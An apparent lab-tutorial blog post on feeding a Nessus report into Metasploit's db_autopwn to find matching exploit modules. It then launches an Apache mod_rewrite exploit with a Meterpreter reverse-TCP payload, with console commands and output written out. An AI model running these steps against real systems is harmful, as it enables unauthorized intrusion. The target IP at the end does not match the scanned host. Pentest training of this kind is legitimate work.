How many times have you fired off a Nessus scan and then after finding the goodies you have to go to either ExploitDB , or a similar site in search for a exploit. Or if you are a pro then its off to go and write your own exploit for the newly discovered vulnerability.
Today’s post will focus on what to do after you have scanned that vulnerable system and found a juice vulnerability. If this is the first time you have heard of ExploitDB or Metasploit you should first visit the Metasploit Unleashed training site.
- Backtrack 4 Linux VM
- Windows 2003 server with a vulnerable web app
Below are the necessary steps to get from a Nessus scan to the correct Metasploit module for exploiting your system.
Step one: Install Nessus
You can download your copy of nessus from HERE and don’t forget to register for a homefeed license. Now create your scan policy or used from one of the default policies. I selected the web application policy since the target server was running and outdated web application. Once your scan is completed download the report and save it in a .nessus format.
Step two: Launching Metasploit
Login to your machine of choice, in my case its my BackTrack4 Linux VM. Issue the following commands to load Metasploit:
- cd /pentest/exploits/framework3 (change directory to your metasploit installation dir)
- svn up (to get the latest update)
Step three: DB Magic
At this stage you will need to create a DB, import the scanned nessus report, and then perform your hacking kungfu with the db_autopwn command.
msf > db_create
msf > db_connect
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don’t count on it
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > db_import /pentest/results/nessus_report_Appsrvr.nessus
[*] Importing ‘Nessus XML (v2)’ data
[*] Importing host 10.10.0.19
[*] Successfully imported /pentest/results/nessus_report_TestSrvr.nessus
db_autopwn -t -x
This command will search Metasploit for any exploits that matches your various vulnerability from the Nessus report, it will not automatically run the exploit for our unless you use the -e option. In most cases if you are testing this against a live system then you should leave out the -e option to avoid crashing your server.
msf > db_autopwn -t -x
[*] Analysis completed in 10 seconds (0 vulns / 0 refs)
[*] Matching Exploit Modules
[*] 10.10.0.19:445 exploit/windows/smb/psexec (CVE-1999-0504, OSVDB-3106)
[*] 10.10.0.19:80 exploit/windows/http/apache_mod_rewrite_ldap (CVE-2006-3747, BID-19204, OSVDB-27588)
From this point I have two exploits to choose from:
msf > use exploit/windows/http/apache_mod_rewrite_ldap
msf exploit(apache_mod_rewrite_ldap) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(apache_mod_rewrite_ldap) > set LHOST 10.10.0.17
LHOST => 10.10.0.17
msf exploit(apache_mod_rewrite_ldap) > set RHOST 10.100.0.9
RHOST => 10.100.0.9
msf exploit(apache_mod_rewrite_ldap) > exploit
From this point on its GAME OVER!